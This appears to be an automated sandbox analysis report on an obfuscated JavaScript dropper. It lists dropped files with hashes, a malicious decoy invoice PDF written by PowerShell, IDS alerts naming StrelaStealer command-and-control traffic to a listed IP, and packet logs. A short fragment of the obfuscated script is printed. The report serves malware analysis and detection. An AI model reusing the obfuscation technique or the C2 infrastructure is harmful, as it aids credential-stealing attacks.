Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\44ac2920-62b1-47b3-a04b-fcff5d4f309e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\494fe5f1-78a5-4a5c-9b83-7c0c25e4a627.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\771f32ac-5b4d-426a-925c-22904f5f17c6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	13F55292D0735B9ABD4259B225D210FC
SHA1:	810CC5D545BFA11D2825F6E1DFA69176794DA7EC
SHA-256:	8C3FFEA68963D108599E8C5AE20DE6E9C473BF33197A03A9A7DDCD0F25A6C7F6
SHA-512:	4F54EDA9EB61172A5243DAA718CFF42A0BF079CC0FA7BE3553CC8B79772763B49F530DD6B54A9D595C4F46B8416ADF7D5C8DAD58FC43A5C651258E669DC375DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\addressbook.acrodata

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ISO-8859 text, with very long lines (3486), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	14456
Entropy (8bit):	4.2098179599164975
Encrypted:	false
SSDEEP:	192:gcPqYV/saFlwwR+kMqe8TlZMX1sgUVa3ddMVsuNeMcGdSD9obOUAVlcMudM/Y14e:g7Q/X4kMb0lZ6mgtdHOelGdWaolvsTZ
MD5:	32FCA302C8B872738373D7CCB1E75FD4
SHA1:	DA85FAF24ED0ECFD5D69CCFD6286D8B77D7EB4F1
SHA-256:	CD0DD26304B88C20801FE80B33C49C009E2E5D4411B5D7F83252E1D90CD461C6
SHA-512:	57F8CC85FAFB15455074431216E47433E50DF5DE74ED74C395B7FF2C433DB7CE06F0A1C1FE1EFDC17229DBC33325D559789F43901556DD1A12963B94F01D5A1F
Malicious:	false
Preview:	%PPKLITE-2.1.%......1 0 obj.<</PPK<</AddressBook<</Entries[2 0 R 3 0 R 4 0 R 5 0 R 6 0 R]/NextID 1006/Type/AddressBook>>/Type/PPK/User<</Type/User>>/V 65537>>/Type/Catalog>>.endobj.2 0 obj.<</ABEType 1/Cert<308204A130820389A00302010202043E1CBD28300D06092A864886F70D01010505003069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F74204341301E170D3033303130383233333732335A170D3233303130393030303732335A3069310B300906035504061302555331233021060355040A131A41646F62652053797374656D7320496E636F72706F7261746564311D301B060355040B131441646F6265205472757374205365727669636573311630140603550403130D41646F626520526F6F7420434130820122300D06092A864886F70D01010105000382010F003082010A0282010100CC4F5484F7A7A2E733537F3F9C12886B2C9947677E0F1EB9AD1488F9C310D81DF0F0D59F690A2F5935B0CC6CA94C9C15A09FCE20BFA0CF54E2E02066453F3986387E9CC48E0722C624F60112B035DF55EA6990B

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10361), with no line terminators
Entropy (8bit):	5.009147442773129
TrID:
File name:	28236151432955330765.js
File size:	10'361 bytes
MD5:	b0dfb089985cc2ea8a5752c2e2833512
SHA1:	4795284dca7c5434ebaa6b27dcc9aa1d754705d4
SHA256:	cd634423035297dc33e4703a6a6523e4e7b463a8b2451aebf3e58cf8944be7af
SHA512:	603b8b32f5114bd8cf6979136af0a0963efdb91288841508f624655d13c3ca115022083f19cf1e144594ad7a52ea0c161a18dfcee67db84e3b05a400d505ced5
SSDEEP:	192:tjOXqrQREU5OffjIBkBheE94LT9EjI46h9jIT6hw78TGIGGk6GyoYdmkOU5jzdDp:5ceQREU5UI2BheE94LT9KI46/IT6yjI7
TLSH:	162284BCFAD9CB87ACD138FF4248D47401EE62D5C91DA0C099938E0999DB760D6DE930
File Content Preview:	function holejo(){this[wzzwos+zhmnbcku+fgokqav+buxppw]("qsbuaaaqc=[1031,3079,5127,4103,2055,3072];var amlbmax=this[risiv+fgokqav+xyjftkyd+ixglqofu+wzzwos+jtebhkcx+njwdhnz+neuezgzog](this[kprrazktk+htsdlk+odljieks+xyjftkyd+mfdic+risiv+neuezgzog][iehleiwxx+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-14T10:55:00.588362+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T10:55:00.588362+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-14T10:55:03.222228+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 10:54:59.799657106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:54:59.806499004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:54:59.809639931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:54:59.815745115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:54:59.820571899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588187933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588243961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588279963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588311911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588346958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588361979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.588361979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.588382006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588416100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588449001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.588450909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588485956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588502884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.588522911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.588567019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.630968094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.631005049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.631040096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.631063938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.675334930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.713277102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713320017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713352919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713385105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.713387012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713435888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.713457108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713663101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713696003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713707924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.713730097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713762045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.713771105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.714401960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.714438915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.714447975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.714473963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.714523077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.714541912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715120077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715152979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715178013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.715187073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715220928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715226889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.715925932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715959072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.715974092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.717480898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.717524052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.756504059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.756555080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.756591082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.756604910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.756628036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.756668091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.799809933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.799854994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.799937010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.837878942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.837889910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.837928057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.837997913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838007927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838017941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838049889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838052988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.838059902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838069916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838082075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.838104010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.838891029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838901997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838912010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.838939905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.839210033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839220047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839229107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839240074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839242935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.839266062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.839837074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839848042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839857101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839867115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839869022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.839876890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839886904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.839890957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.839914083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.840691090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840701103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840713024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840720892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.840723038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840745926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.840758085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840768099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.840794086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.841587067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841614962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.841671944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841685057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841695070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841703892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841712952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.841716051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.841727972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.842561960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.842571974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.842581987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.842591047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.842592955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.842605114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.843164921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.843173981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.843183041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:55:00.843189955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.843208075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:55:00.880629063 CET	80	49704	193.143.1.205	192.168.2.5
